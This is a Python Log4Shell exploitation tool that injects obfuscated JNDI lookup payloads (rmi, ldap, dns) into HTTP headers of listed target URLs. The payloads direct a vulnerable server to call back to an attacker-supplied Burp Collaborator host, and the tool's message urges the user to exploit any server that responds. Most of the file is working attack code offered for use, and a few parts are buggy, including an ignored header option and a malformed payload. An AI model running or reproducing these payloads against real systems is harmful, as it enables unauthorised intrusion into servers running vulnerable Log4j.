"""
Albus Security
Author: Aniket Tyagi (Founder)
"""
import argparse
import sys
import time
from urllib3 import disable_warnings
import requests
from colorama import Fore
import validators
import os
import re
import socket

# Disable_ssl_warning
disable_warnings()

# Function
def check(single=None, multiple=None):

    contained_url = []

    if single:

        if not validators.url(single):
            print("You must specify a valid URL.")
            print("Exiting...")
            sys.exit()

        contained_url.append(single)

    elif multiple:

        if not os.path.exists(multiple):
            print("Specified path to URL list does not exist!")
            print("Exiting...")
            sys.exit()

        with open(multiple, 'r') as f:
            contained_url = [line.strip() for line in f]
    else:

        print("Please provide a single URL or URL list (-U or -L).")
        sys.exit()

    return contained_url


def data_generator(filename='headers.txt'):

    with open(filename, 'r') as f:
        return [line.strip() for line in f]


def filter_url(url):
    
    if url.startswith('https'):
        uri = re.sub(r'^https?://', '', url)
        return uri
    
    elif url.startswith('http'):
        uri = re.sub(r'^http?://', '', url)
        return uri
    
    else:
        return None
    
def exploit(urls,headers,payload,timeout):

    for url in urls:

        fil = filter_url(url)
        print("\n\tTarget Information")
        print("*****************************************************************")
        print("\tTarget:-\t\t\t", url)

        # Exceptions 
        try: 
            print("\tYour target IP:-\t\t" + socket.gethostbyname((fil)))
        except Exception as e:

            print("Can't Resolve ip address of your domains")

        print("\tYour BurpSuite Collaborator:- \t" + burpsuite)
        print("*****************************************************************")


        for payloaders in payload:

            for head in headers:

                print(Fore.RED + "\n\nPayload:-", payloaders)
                print(Fore.RED + 'Processing\n')
                time.sleep(3)
                
                try:
                    hedu = str({head:payloaders})
                    response = requests.get(url, headers={head:payloaders}, timeout=timeout)
                    print(Fore.LIGHTCYAN_EX+"\nMalicious Header:-",{head:payloaders})

                    if response.status_code == 200:
                        print(Fore.GREEN + "\n\tPayload injected successfully\n")
                        print(Fore.LIGHTWHITE_EX + "*************************************************************************")

                    else:
                        print(Fore.RED + "Applicantions throws an error")
                        print(Fore.RED + "Your failed target: " + url)

                except requests.exceptions.Timeout:

                    print(Fore.RED + "Request timed out. Trying another target.")
                    print(Fore.RED + "Your timed out target: " + url)

                except requests.exceptions.ConnectionError:

                    print(Fore.RED + "Connection error. Trying another target.")
                    print(Fore.RED + "Your connection error target:")

                except Exception as e:

                    print(Fore.RED + "An unexpected error occurred. Trying another Applications.")
                    print(Fore.RED + "Your error target: " + url)
                    



if __name__ == '__main__':

    print(Fore.LIGHTWHITE_EX + "\n*****************************************************************************************************************")
    print(Fore.LIGHTCYAN_EX + '''

        \t\t\t██╗░░░░░░█████╗░░██████╗░░░██╗██╗
        \t\t\t██║░░░░░██╔══██╗██╔════╝░░██╔╝██║
        \t\t\t██║░░░░░██║░░██║██║░░██╗░██╔╝░██║
        \t\t\t██║░░░░░██║░░██║██║░░╚██╗███████║
        \t\t\t███████╗╚█████╔╝╚██████╔╝╚════██║
        \t\t\t╚══════╝░╚════╝░░╚═════╝░░░░░░╚═╝'''
          )
    
    print("\n\t\t\t\tWELCOME TO ALBUS SECURITY".format(Fore.YELLOW))
    print(Fore.LIGHTRED_EX+ '\t\t\t\tAuthor: Aniket Tyagi')
    print(
        Fore.LIGHTWHITE_EX + "*****************************************************************************************************************\n\n")

    
    # Argument_Management

    if len(sys.argv) > 1:
        pass
    else:
        print(Fore.RED+'\n%s Please use -h for help.' % (sys.argv[0]))
        exit(0)
    
    parser = argparse.ArgumentParser()
    parser.add_argument('-U', '--url', help='Single URL')
    parser.add_argument('-L', '--list', help='Provide list of URLs')
    parser.add_argument('-B', '--burp_collaborator', help='Provide BurpSuite collaborator URL')
    parser.add_argument('-H', '--headers', help='Provide header list (default: headers.txt)', default='headers.txt')
    parser.add_argument('-t', '--timeout', help='Maximum number of seconds to wait while requesting a web page (default: 10)', default=10, type=int)
    
    args = parser.parse_args()
    multiple_url= args.list 
    single_url = args.url
    burpsuite = args.burp_collaborator
    headers = args.headers
    timeout = args.timeout

    urls = check(single=single_url, multiple=multiple_url)
    header_payload = data_generator()


    Log4shell_payload = ["${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://" + str(burpsuite) + "/a}",
                     "${${::-j}ndi:rmi://" + str(burpsuite) + "/a}",
                     "${jndi:rmi://" + str(burpsuite) + "}",
                     "${${lower:jndi}:${lowermil}://" + str(burpsuite) + "/a}",
                     "${${lower:${lower:jndi}}:${lower:rmi}://" + str(burpsuite) + "/a}",
                     "${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://" + str(burpsuite) + "/a}",
                     "${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://" + str(burpsuite) + "/a}",
                     "${jndi:dns://" + str(burpsuite) + "/a}",
                     "${jndi:ldap://127.0.0.1#" +str(burpsuite)+ ":1399/a}"] 

    exploit(urls,header_payload,Log4shell_payload,timeout)

print(Fore.RED + "\n\n\t\tIf you receive a DNS ping in your collab, congratulations! Try to exploit it.")
print(Fore.RED + "\t\t\t\t\t\tThank you for using.")
